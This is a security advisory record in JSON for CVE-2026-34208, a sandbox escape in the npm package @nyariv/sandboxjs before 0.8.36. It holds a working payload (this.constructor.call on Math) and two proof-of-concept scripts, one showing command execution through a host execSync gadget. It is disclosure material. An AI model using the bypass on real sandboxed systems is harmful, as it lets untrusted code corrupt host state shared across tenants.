{"id":"CVE-2026-34208","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-34208","summary":"SandboxJS: Sandbox integrity escape ","details":"### Summary\nSandboxJS blocks direct assignment to global objects (for example `Math.random = ...`), but this protection can be bypassed through an exposed callable constructor path: `this.constructor.call(target, attackerObject)`. Because `this.constructor` resolves to the internal `SandboxGlobal` function and `Function.prototype.call` is allowed, attacker code can write arbitrary properties into host global objects and persist those mutations across sandbox instances in the same process.\n\n### Details\nThe intended safety model relies on write-time checks in assignment operations. In `assignCheck`, writes are denied when the destination is marked global (`obj.isGlobal`), which correctly blocks straightforward payloads like `Math.random = () => 1`.\n\nReference: [`src/executor.ts#L215-L218`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L215-L218)\n\n```ts\nif (obj.isGlobal) {\n  throw new SandboxAccessError(\n    `Cannot ${op} property '${obj.prop.toString()}' of a global object`,\n  );\n}\n```\n\nThe bypass works because the dangerous write is not performed by an assignment opcode. Instead, attacker code reaches a host callable that performs writes internally. The constructor used for sandbox global objects is `SandboxGlobal`, implemented as a function that copies all keys from a provided object into `this`.\n\nReference: [`src/utils.ts#L84-L88`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L84-L88)\n\n```ts\nexport const SandboxGlobal = function SandboxGlobal(this: ISandboxGlobal, globals: IGlobals) {\n  for (const i in globals) {\n    this[i] = globals[i];\n  }\n} as any as SandboxGlobalConstructor;\n```\n\nAt runtime, global scope `this` is a `SandboxGlobal` instance (`functionThis`), so `this.constructor` resolves to `SandboxGlobal`. That constructor is reachable from sandbox code, and calls through `Function.prototype.call` are allowed by the generic call opcode path.\n\nReferences:\n- [`src/utils.ts#L118-L126`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/utils.ts#L118-L126)\n- [`src/executor.ts#L493-L518`](https://github.com/nyariv/SandboxJS/blob/cc8f20b4928afed5478d5ad3d1737ef2dcfaac29/src/executor.ts#L493-L518)\n\n```ts\nconst sandboxGlobal = new SandboxGlobal(options.globals);\n...\nglobalScope: new Scope(null, options.globals, sandboxGlobal),\n```\n\n```ts\nconst evl = context.evals.get(obj.context[obj.prop] as any);\nlet ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals) as unknown);\n```\n\nThis creates a privilege gap:\n1. Direct global mutation is blocked in assignment logic.\n2. A callable host function that performs arbitrary property writes is still reachable.\n3. The call path does not enforce equivalent global-mutation restrictions.\n4. Attacker-controlled code can choose the write target (`Math`, `JSON`, etc.) via `.call(target, payloadObject)`.\n\nIn practice, the payload:\n```js\nconst SG = this.constructor;\nSG.call(Math, { random: () => 'pwned' });\n```\noverwrites host `Math.random` successfully. The mutation is visible immediately in host runtime and in fresh sandbox instances, proving cross-context persistence and sandbox boundary break.\n\n### PoC\nInstall dependency:\n\n```bash\nnpm i @nyariv/sandboxjs@0.8.35\n```\n\n#### Global write bypass with `pwned` marker\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst run = (code) => new Sandbox().compile(code)().run();\nconst original = Math.random;\n\ntry {\n  try {\n    run('Math.random = () => 1');\n    console.log('Without bypass (direct assignment): unexpectedly succeeded');\n  } catch (err) {\n    console.log('Without bypass (direct assignment): blocked ->', err.message);\n  }\n  run(`this.constructor.call(Math, { random: () => 'pwned' })`);\n  console.log('With bypass (host Math.random()):', Math.random());\n  console.log('With bypass (fresh sandbox Math.random()):', run('return Math.random()'));\n} finally {\n  Math.random = original;\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -> Cannot assign property 'random' of a global object\nWith bypass (host Math.random()): pwned\nWith bypass (fresh sandbox Math.random()): pwned\n```\n\n`With bypass (host Math.random())` proves the sandbox changed host runtime state immediately.  \n`With bypass (fresh sandbox Math.random())` proves the mutation persists across new sandbox instances, which shows cross-execution contamination.\n\n#### Command `id` execution via host gadget\n\nThis second PoC demonstrates exploitability when host code later uses a mutated global property in a sensitive sink. It uses the POSIX `id` command as a harmless execution marker.\n\n```js\n#!/usr/bin/env node\n'use strict';\n\nconst Sandbox = require('@nyariv/sandboxjs').default;\nconst { execSync } = require('child_process');\n\nconst run = (code) => new Sandbox().compile(code)().run();\nconst hadCmd = Object.prototype.hasOwnProperty.call(Math, 'cmd');\nconst originalCmd = Math.cmd;\n\ntry {\n  try {\n    run(`Math.cmd = 'id'`);\n    console.log('Without bypass (direct assignment): unexpectedly succeeded');\n  } catch (err) {\n    console.log('Without bypass (direct assignment): blocked ->', err.message);\n  }\n  run(`this.constructor.call(Math, { cmd: 'id' })`);\n  console.log('With bypass (host command source Math.cmd):', Math.cmd);\n  console.log(\n    'With bypass + host gadget execSync(Math.cmd):',\n    execSync(Math.cmd, { encoding: 'utf8' }).trim(),\n  );\n} finally {\n  if (hadCmd) {\n    Math.cmd = originalCmd;\n  } else {\n    delete Math.cmd;\n  }\n}\n```\n\nExpected output:\n\n```\nWithout bypass (direct assignment): blocked -> Cannot assign property 'cmd' of a global object\nWith bypass (host command source Math.cmd): id\nWith bypass + host gadget execSync(Math.cmd): uid=1000(mk0) gid=1000(mk0) groups=1000(mk0),...\n```\n\n### Impact\nThis is a sandbox integrity escape. Untrusted code can mutate host shared global objects despite explicit global-write protections. Because these mutations persist process-wide, exploitation can poison behavior for other requests, tenants, or subsequent sandbox runs. Depending on host application usage of mutated built-ins, this can be chained into broader compromise, including control-flow hijack in application logic that assumes trusted built-in behavior.","published":"2026-04-03T21:44:39Z","modified":"2026-04-06T23:35:35.446815Z","cvss":{"score":10,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@nyariv/sandboxjs","fixedVersion":"0.8.36"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/nyariv/SandboxJS/security/advisories/GHSA-2gg9-6p7w-6cpj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34208"},{"type":"PACKAGE","url":"https://github.com/nyariv/SandboxJS"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-04-06T23:35:35.446815Z"}}